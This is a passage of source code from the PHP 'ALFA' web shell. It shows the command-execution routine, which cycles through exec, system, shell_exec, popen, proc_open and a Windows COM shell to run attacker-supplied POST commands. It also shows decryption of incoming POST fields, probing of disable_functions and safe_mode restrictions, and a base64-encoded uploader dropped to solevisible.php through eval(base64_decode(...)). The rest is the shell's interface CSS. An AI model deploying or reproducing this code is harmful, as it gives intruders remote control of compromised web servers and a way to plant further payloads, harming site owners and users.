_alfa_php_cmd($in,$re);\nif(empty($data)&amp;&amp;$cgi||$all){\nif($GLOBALS&#91;'sys']=='unix'){\nif(strlen(_alfa_php_cmd(\"whoami\"))==0||$all){\n$cmd = _alfa_cgicmd($in);\nif(!empty($cmd)){\nreturn $cmd;\n}\n}\n}\n}\nreturn $data;\n}\nfunction _alfa_php_cmd($in,$re=false){\n$out='';\ntry{\nif($re)$in=$in.\" 2>&amp;1\";\nif(function_exists('exec')){\n@exec($in,$out);\n$out = @join(\"\\n\",$out);\n}elseif(function_exists('passthru')) {\nob_start();\n@passthru($in);\n$out = ob_get_clean();\n}elseif(function_exists('system')){\nob_start();\n@system($in);\n$out = ob_get_clean();\n} elseif (function_exists('shell_exec')) {\n$out = shell_exec($in);\n}elseif(function_exists(\"popen\")&amp;&amp;function_exists(\"pclose\")){\nif(is_resource($f = @popen($in,\"r\"))){\n$out = \"\";\nwhile(!@feof($f))\n$out .= fread($f,1024);\npclose($f);\n}\n}elseif(function_exists('proc_open')){\n$pipes = array();\n$process = @proc_open($in.' 2>&amp;1', array(array(\"pipe\",\"w\"), array(\"pipe\",\"w\"), array(\"pipe\",\"w\")), $pipes, null);\n$out=@stream_get_contents($pipes&#91;1]);\n}elseif(class_exists('COM')){\n$alfaWs = new COM('WScript.shell');\n$exec = $alfaWs->exec('cmd.exe \/c '.$_POST&#91;'alfa1']);\n$stdout = $exec->StdOut();\n$out=$stdout->ReadAll();\n}\n}catch(Exception $e){}\nreturn $out;\n}\nfunction _alfa_fsockopen($server,$uri,$post){\n$socket = @fsockopen($server, 80, $errno, $errstr, 15);\nif($socket){\n$http  = \"POST {$uri} HTTP\/1.0\\r\\n\";\n$http .= \"Host: {$server}\\r\\n\";\n$http .= \"User-Agent: \" . $_SERVER&#91;'HTTP_USER_AGENT'] . \"\\r\\n\";\n$http .= \"Content-Type: application\/x-www-form-urlencoded\\r\\n\";\n$http .= \"Content-length: \" . strlen($post) . \"\\r\\n\";\n$http .= \"Connection: close\\r\\n\\r\\n\";\n$http .= $post . \"\\r\\n\\r\\n\";\nfwrite($socket, $http);\n$contents = \"\";\nwhile (!@feof($socket)) {\n$contents .= @fgets($socket, 4096);\n}\nlist($header, $body) = explode(\"\\r\\n\\r\\n\", $contents, 2);\n@fclose($socket);\nreturn $body;\n}else{\nreturn \"\";\n}\n}\nforeach($_POST as $key => $value){\nif(is_array($_POST&#91;$key])){\n$i=0;\nforeach($_POST&#91;$key] as $f) {\n$f = trim(str_replace(' ', '+',$f));\n$_POST&#91;$key]&#91;$i] = decrypt_post($f);\n$i++;\n}\n}else{\n$value = trim(str_replace(' ', '+',$value));\n$_POST&#91;$key] = decrypt_post($value);\n}\n}\n$default_action = 'FilesMan2';\/\/'FilesMan';\n$default_use_ajax = true;\n$default_charset = 'Windows-1251';\nif(strtolower(substr(PHP_OS,0,3))==\"win\")\n$GLOBALS&#91;'sys']='win';\nelse\n$GLOBALS&#91;'sys']='unix';\n$GLOBALS&#91;'home_cwd'] = @alfaGetCwd();\n$GLOBALS&#91;\"need_to_update_header\"] = \"false\";\n$GLOBALS&#91;'glob_chdir_false'] = false;\nif(isset($_POST&#91;'c'])){\nif(!@chdir($_POST&#91;'c'])){\n$GLOBALS&#91;'glob_chdir_false'] = true;\n}\n}\n$GLOBALS&#91;'cwd'] = (isset($_POST&#91;'c']) &amp;&amp; @is_dir($_POST&#91;'c']) ?$_POST&#91;'c']:@alfaGetCwd());\nif($GLOBALS&#91;'glob_chdir_false']){\n$GLOBALS&#91;'cwd'] = (isset($_POST&#91;'c']) &amp;&amp; !empty($_POST&#91;'c']) ? $_POST&#91;'c'] : @alfaGetCwd());\n}\nif($GLOBALS&#91;'sys'] == 'win'){\n$GLOBALS&#91;'home_cwd'] = str_replace(\"\\\\\", \"\/\", $GLOBALS&#91;'home_cwd']);\n$GLOBALS&#91;'cwd'] = str_replace(\"\\\\\", \"\/\", $GLOBALS&#91;'cwd']);\n}\nif($GLOBALS&#91;'cwd']&#91;strlen($GLOBALS&#91;'cwd'])-1] != '\/' )$GLOBALS&#91;'cwd'] .= '\/';\nif(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS&#91;'__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}\nif(!function_exists(\"mb_strlen\")){\nfunction mb_strlen($str, $c=\"\"){\nreturn strlen($str);\n}\n}\nif(!function_exists(\"mb_substr\")){\nfunction mb_substr($str, $start, $end, $c=\"\"){\nreturn substr($str, $start, $end);\n}\n}\ndefine(\"ALFA_TEMPDIR\", (function_exists(\"sys_get_temp_dir\") ? (@is_writable(str_replace('\\\\','\/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));\nfunction alfahead(){\n$GLOBALS&#91;'__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';\n$alfa_uploader = '$x = base64_decode(\"'.$GLOBALS&#91;'__ALFA_SHELL_CODE'].'\");$solevisible = fopen(\"solevisible.php\",\"w\");fwrite($solevisible,$x);';\ndefine(\"ALFA_UPLOADER\", \"eval(base64_decode('\".__ZW5jb2Rlcg($alfa_uploader).\"'))\");\nif(!isset($_POST&#91;'ajax'])){\nfunction Alfa_GetDisable_Function(){\n$disfun = @ini_get('disable_functions');\n$afa = '&lt;span class=\"header_show_all\">All Functions Accessible&lt;\/span>';\nif(empty($disfun))return($afa);\n$s = explode(',',$disfun);\n$s = array_unique($s);\n$i=0;\n$b=0;\n$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');\n$black_list = array();\n$allow_list = array();\nforeach($s as $d){\n$d=trim($d);\nif(empty($d)||!is_callable($d))continue;\nif(!function_exists($d)){\nif(in_array($d,$func)){\n$dis .= $d.\" | \";$b++;\n$black_list&#91;] = $d;\n}else{\n$allow_list&#91;] = $d;\n}\n$i++;\n}\n}\nif($i==0)return($afa);\nif($i &lt;= count($func)){\n$all = array_values(array_merge($black_list, $allow_list));\nreturn('&lt;span class=\"disable_functions\">'.implode(\" | \", $all).'&lt;\/span>');\n}\nreturn('&lt;span class=\"disable_functions\">'.$dis.'&lt;\/span>&lt;a id=\"menu_opt_GetDisFunc\" href=javascript:void(0) onclick=\"alfa_can_add_opt = true;g(\\'GetDisFunc\\',null,\\'wp\\');\">&lt;span class=\"header_show_all\">Show All ('.$i.')&lt;\/span>&lt;\/a>');\n}\nfunction AlfaNum(){\n$args = func_get_args();\n$alfax = array();\n$find = array();\nfor($i=1;$i&lt;=10;$i++){\n$alfax&#91;] = $i;\n}\nforeach($args as $arg){\n$find&#91;] = $arg;\n}\necho '&lt;script>';\nforeach($alfax as $alfa){\nif(in_array($alfa,$find))\ncontinue;\necho 'alfa'.$alfa.\"_=\";\n}\necho '\"\"&lt;\/script>';\n}\nif(empty($_POST&#91;'charset']))\n$_POST&#91;'charset'] = $GLOBALS&#91;'default_charset'];\n$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS&#91;'cwd']):'?';\n$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS&#91;'cwd']):'?';\n$totalSpace = $totalSpace?$totalSpace:1;\n$on=\"&lt;span class='header_on'> ON &lt;\/span>\";\n$of=\"&lt;span class='header_off'> OFF &lt;\/span>\";\n$none=\"&lt;span class='header_none'> NONE &lt;\/span>\";\nif(function_exists('ssh2_connect'))\n$ssh2=$on;\nelse\n$ssh2=$of;\nif(function_exists('curl_version'))\n$curl=$on;\nelse\n$curl=$of;\nif(function_exists('mysql_get_client_info')||class_exists('mysqli'))\n$mysql=$on;\nelse\n$mysql=$of;\nif(function_exists('mssql_connect'))\n$mssql=$on;\nelse\n$mssql=$of;\nif(function_exists('pg_connect'))\n$pg=$on;\nelse\n$pg=$of;\nif(function_exists('oci_connect'))\n$or=$on;\nelse\n$or=$of;\nif(@ini_get('disable_functions'))\n$disfun=@ini_get('disable_functions');\nelse\n$disfun=\"All Functions Enable\";\nif(@ini_get('safe_mode'))\n$safe_modes=\"&lt;span class='header_off'>ON&lt;\/span>\";\nelse\n$safe_modes=\"&lt;span class='header_on'>OFF&lt;\/span>\";\n$cgi_shell=\"&lt;span class='header_off' id='header_cgishell'>OFF&lt;\/span>\";\nif(@ini_get('open_basedir')){\n$basedir_data = @ini_get('open_basedir');\nif(strlen($basedir_data)>120){\n$open_b=substr($basedir_data,0, 120).\"...\";\n}else{\n$open_b = $basedir_data;\n}\n}else{$open_b=$none;}\nif(@ini_get('safe_mode_exec_dir'))\n$safe_exe=@ini_get('safe_mode_exec_dir');\nelse\n$safe_exe=$none;\nif(@ini_get('safe_mode_include_dir'))\n$safe_include=@ini_get('safe_mode_include_dir');\nelse\n$safe_include=$none;\nif(!function_exists('posix_getegid'))\n{\n$user = function_exists(\"get_current_user\")?@get_current_user():\"????\";\n$uid = function_exists(\"getmyuid\")?@getmyuid():\"????\";\n$gid = function_exists(\"getmygid\")?@getmygid():\"????\";\n$group = \"?\";\n}else{\n$uid = function_exists(\"posix_getpwuid\")&amp;&amp;function_exists(\"posix_geteuid\")?@posix_getpwuid(posix_geteuid()):array(\"name\"=>\"????\", \"uid\"=>\"????\");\n$gid = function_exists(\"posix_getgrgid\")&amp;&amp;function_exists(\"posix_getegid\")?@posix_getgrgid(posix_getegid()):array(\"name\"=>\"????\", \"gid\"=>\"????\");\n$user = $uid&#91;'name'];\n$uid = $uid&#91;'uid'];\n$group = $gid&#91;'name'];\n$gid = $gid&#91;'gid'];\n}\n$cwd_links = '';\n$path = explode(\"\/\", $GLOBALS&#91;'cwd']);\n$n=count($path);\nfor($i=0; $i&lt;$n-1; $i++) {\n$cwd_links .= \"&lt;a class='header_pwd' onclick='g(\\\"FilesMan\\\",\\\"\";\n$cach_cwd_path = \"\";\nfor($j=0; $j&lt;=$i; $j++){\n$cwd_links .= $path&#91;$j].'\/';\n$cach_cwd_path .= $path&#91;$j].'\/';\n}\n$cwd_links .= \"\\\")' path='\".$cach_cwd_path.\"' href='#action=fileman&amp;path=\".$cach_cwd_path.\"'>\".$path&#91;$i].\"\/&lt;\/a>\";\n}\n$drives = \"\";\nforeach(range('a','z') as $drive)\nif(@is_dir($drive.':\\\\'))\n$drives .= '&lt;a href=\"javascript:void(0);\" class=\"header_drive\" onclick=\"g(\\'FilesMan\\',\\''.$drive.':\/\\')\">&#91; '.$drive.' ]&lt;\/a> ';\n$csscode ='-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';\necho '&lt;!DOCTYPE html PUBLIC \"-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd\">\n&lt;html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n&lt;head>\n&lt;meta http-equiv=\"Content-Type\" content=\"text\/html; charset=utf-8\" \/>\n&lt;meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" \/>\n&lt;link href=\"'.__showicon('alfamini').'\" rel=\"icon\" type=\"image\/x-icon\"\/>\n&lt;title>'.__ALFA_CODE_NAME__.'-'.$_SERVER&#91;'HTTP_HOST'].'&lt;\/title>\n&lt;style type=\"text\/css\">';?>\n.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:\"\";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:\"\\2610\";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:\"\\2611\";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:\"\";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid 